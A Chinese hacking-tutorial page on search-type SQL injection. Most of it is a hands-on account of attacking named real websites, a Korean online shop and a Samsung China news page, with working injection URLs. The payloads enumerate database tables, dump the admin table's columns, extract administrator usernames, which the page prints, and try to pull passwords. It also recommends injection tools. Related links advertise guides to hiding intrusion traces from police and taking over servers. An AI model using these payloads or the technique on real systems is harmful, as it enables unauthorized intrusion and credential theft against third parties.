ASP搜索型注入

所属分类: 网络安全 / 黑客教程 阅读数: 1513
收藏 0 赞 0 分享
简单的判断搜索型注入漏洞存在不存在的办法是先搜索',如果出错,说明90%存在这个漏洞。然后搜索%,如果正常返回,说明95%有洞了。 然后再搜索一个关键字,比如2006吧,正常返回所有2006相关的信息,再搜索2006%'and 1=1 and '%'='和2006%'and 1=2 and '%'=',存在异同的话,就是100%有洞了。 这里看出有上面说的洞后开始用nbsi来扫,结果总是超时,郁闷,看来要手工来暴需要的信息了。。。 http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and user>0 and '%'=' //得到当前数据库账号

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and db_name()>0 and '%'=' //得到当前数据库名

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select count(*) from admin)>0 and '%'=' //返回错误页面,看来是没有admin这个表了

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 name from lvhuana3.dbo.sysobjects where xtype='u' and status>0)>0 and '%'=' //得到当前数据库的第一个表名

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 name from lvhuana3.dbo.sysobjects where xtype='u' and status>0 and name not in('codechange'))>0 and '%'=' //得到当前数据库的第二个表名

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 name from lvhuana3.dbo.sysobjects where xtype='u' and status>0 and name not in('codechange','oldpoint'))>0 and '%'=' //得到当前数据库的第三个表名

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 name from lvhuana3.dbo.sysobjects where xtype='u' and status>0 and name not in('codechange','oldpoint','tbl_admin','tbl_afterservice','tbl_agent','tbl_bank','tbl_board','tbl_board2','tbl_brandbestLeft','tbl_brandbestRight','tbl_card','tbl_cart','tbl_catalogue','tbl_community','tbl_court','tbl_estimate','tbl_FAQ','tbl_mail_list','tbl_mem_add','tbl_mem_main','tbl_mem_out','tbl_mem_rboard','tbl_mileage','tbl_notice','tbl_ord_cash_receipt','tbl_ord_change''tbl_ord_cs','tbl_ord_change','tbl_ord_cs','tbl_ord_main','tbl_ord_payment','tbl_ord_prd','tbl_ord_prd_return','tbl_ord_refund','tbl_ord_req_main','tbl_ord_req_prd','tbl_ord_request','tbl_ord_user','tbl_partition','tbl_prd_category','tbl_prd_click','tbl_prd_desc','tbl_prd_grade','tbl_prd_main','tbl_prd_model','tbl_recommand','tbl_saleshop','tbl_search','tbl_tax','tbl_zipcode','tempDesc','tempdesc2','tempmodel','tempPrdMain','tempPrdmodel','tempsize','tempstyle','tmpordprd','tmpordprd2','trace1'))>0 and '%'=' //依次类推,得到所有的表 其实分析可以知道只有这个tbl_admin表才是最重要的。接着开始暴列名。
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 col_name(object_id ('tbl_admin'),1) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第一个列名c_employee_id

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 col_name(object_id ('tbl_admin'),2) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第二个列名c_employee_name

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 col_name(object_id ('tbl_admin'),3) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第三个列名c_password

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 col_name(object_id ('tbl_admin'),3) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第四个列名c_level 列名暴完,暴管理员账号密码。 http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 c_employee_id from tbl_admin)>0 and '%'=' //得到第一个管理员的id为943hoon

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select c_employee_id from(select top 1 * from(select top 2 * from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第二个管理员的id为champ

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select c_employee_id from(select top 1 * from(select top 3 * from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第三个管理员的id为clark

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select c_employee_id from(select top 1 * from(select top 4 * from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第四个管理员的id为hskim

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select c_employee_id from(select top 1 * from(select top 4 * from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第五个管理员的id为jajeong

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 c_c_password from tbl_admin)>0 and '%'=' //这个语句是暴出管理员密码的,可惜直接返回了正常页面,郁闷。。。。 一会再想别的办法吧。。。。。
另外说下,2.3 的啊D支持搜索型的注入方式是: 一般网站的搜索都是部分匹配的
有漏洞的url是http://notebook.samsung.com.cn/news/news.aspx?page=1&type=product&ST=title&SC=
构造注入语句 三星%'and 1=1 and '%'='
      三星%'and 1=2 and '%'='
两个返回页面是不一样的 说明有注入的漏洞 特征字 写笔记本 就是三星%'and 1=1 and '%'=' 返回时有的 我一般搜索代码是:
Select * from 表名 where 字段 like ’%关键字%’
这样就造成了对关键字前后的所有匹配(%是用来全部匹配的)
这里如果关键字没有过滤的话,就可以这样来构造:
关键字=’ and [查询条件] and ‘%’=’
这样查询就变成
select * from 表名 where 字段 like '%' and 1=1 and '%'='%'
这样就很好的构成了一个sql注入点,当然用手工也可以,用nbsi也可以~~
注入是不分家的,没必要什么型什么型的!~
《sql注入天书》的原话
第一节、SQL注入的一般步骤
首先,判断环境,寻找注入点,判断数据库类型,这在入门篇已经讲过了。
其次,根据注入参数类型,在脑海中重构SQL语句的原貌,按参数类型主要分为下面三种:
(A) ID=49 这类注入的参数是数字型,SQL语句原貌大致如下:
Select * from 表名 where 字段=49
注入的参数为ID=49 And [查询条件],即是生成语句:
Select * from 表名 where 字段=49 And [查询条件] (B) Class=连续剧这类注入的参数是字符型,SQL语句原貌大致概如下:
Select * from 表名 where 字段=’连续剧’
注入的参数为Class=连续剧’ and [查询条件] and ‘’=’ ,即是生成语句:
Select * from 表名 where 字段=’连续剧’ and [查询条件] and ‘’=’’
(C) 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:
Select * from 表名 where 字段like ’%关键字%’
注入的参数为keyword=’ and [查询条件] and ‘%’=’,即是生成语句:
Select * from 表名 where字段like ’%’ and [查询条件] and ‘%’=’%’ 当然手工是麻烦的
用工具的话,我建议用nbsi的工具比较好,就我感觉只有nbsi结合了这个技术,用别的软体是不能注入的
注入点只要写:
http://notebook.samsung.com.cn/news/news.aspx?page=1&type=product&ST=title&SC=%
再加个特征字符就可以了

更多精彩内容其他人还在看

linux入侵踪迹隐藏攻略

前言: 被警察叔叔请去喝茶时间很痛苦的事情,各位道长如果功力不够又喜欢出风头的想必都有过这样的“待遇”。如何使自己在系统中隐藏的更深,是我们必须掌握的基本功。当然,如果管理员真的想搞你而他的功力又足够足的话,相信没什么人能够真正的“踏雪无痕”。Fore
收藏 0 赞 0 分享

关于趋势科技等网站被攻击的分析

一. 首先在网上找到了这次攻击的新闻报道 http://www.nsfocus.net/news/6697 http://hi.baidu.com/secway/blog/item/e80d8efa4bf73ddab48f31a3.html 通过GOOGLE搜索到
收藏 0 赞 0 分享

实战讲解跨站入侵攻击

很多时候在企业网络安全,特别是服务器上数据库安全防范方面需要特别注意,弥补所有漏洞,减少因设置不当带来的入侵事件的发生。然而在实际使用与维护过程中我们经常会听到一个新的名词——“跨站入侵”,那么什么是“跨站入侵”,他是如何产生如何被利用的呢?今天就请各
收藏 0 赞 0 分享

黑客入侵网络的五十种方法

现在网上的攻击事件越来越多,黑客都是通过什么方法来攻击我们的呢?下面我们给大家总结了黑客入侵网络的五十种方法,让大家做到有备无患。   1.网宽网络有限公司制作的网站基本都有注入漏洞 搜索网宽网络   2.搜索栏里输入   关键字%'and 1=1 and '%'
收藏 0 赞 0 分享

解析CSRF攻击原理

|=——————————————————————=| |=————–=[ CSRF攻击原理解析 ]=——————=| |=——————————————————————=| |=——————-=[ By rayh4c ]=————————=| |=————-=[ r
收藏 0 赞 0 分享

Session Fixation 攻防实战(图)

最近笔者在网上看到一个新文章《JSESSIONID Regeneration in Struts 2》,讲的是一段代码,在STRUTS 2框架中,防御Session Fixation攻击。笔者比较老土,看不懂英文,还好能看懂代码,发现这是一种平时开发中(至少自己是这样),从来没注
收藏 0 赞 0 分享

介绍初级黑客常用兵器(图)

俗话说:“工欲善其事,必先利其器”。不管你是黑客高手,还是菜鸟级人物,要想侵入一家网站,都是需要借助黑软工具,才能达到自己的目的,因此每位“黑鸟”的工具,决定了你能否侵入成功的关键。下面笔者将会为大家循序渐进的介绍,初级黑客一般比较常用的兵器。  
收藏 0 赞 0 分享

教你如何通过Radmin拿服务器

Radmin 是一款很不错的服务器管理 无论是 远程桌面控制 还是 文件传输 速度都很快 很方便 这样也形成了 很多服务器都装了 radmin这样的 现在你说 4899默认端口 没密码的 服务器你上哪找? 大家都知道radmin的密码都是32位m
收藏 0 赞 0 分享

黑客最新障眼法 淘宝用户注意(图)

淘宝,一个充满互联网的名字,可以让你足不出户就可以在家买到想买的东西,特别受到年轻人和在校学生青睐。可是淘宝的使用必定牵涉到网银的使用,很多用户都会提出,使用网银,我们安全吗?如何去辨别有害程序,让自己也具有一双悟空的“火眼金睛”,是我们今天来教大
收藏 0 赞 0 分享

常见的木马所有隐藏启动方式总结

木马的最大的特点之一就是它一定是要和系统一起启动而启动,否则它就完全失去了意义!下面为大家介绍一下它的几种隐藏启动的方法:   方法一:注册表启动项:这个大家可能比较熟悉,请大家注意以下的注册表键值:   HKEY_LOCAL_MACHINESOFTWAR
收藏 0 赞 0 分享
查看更多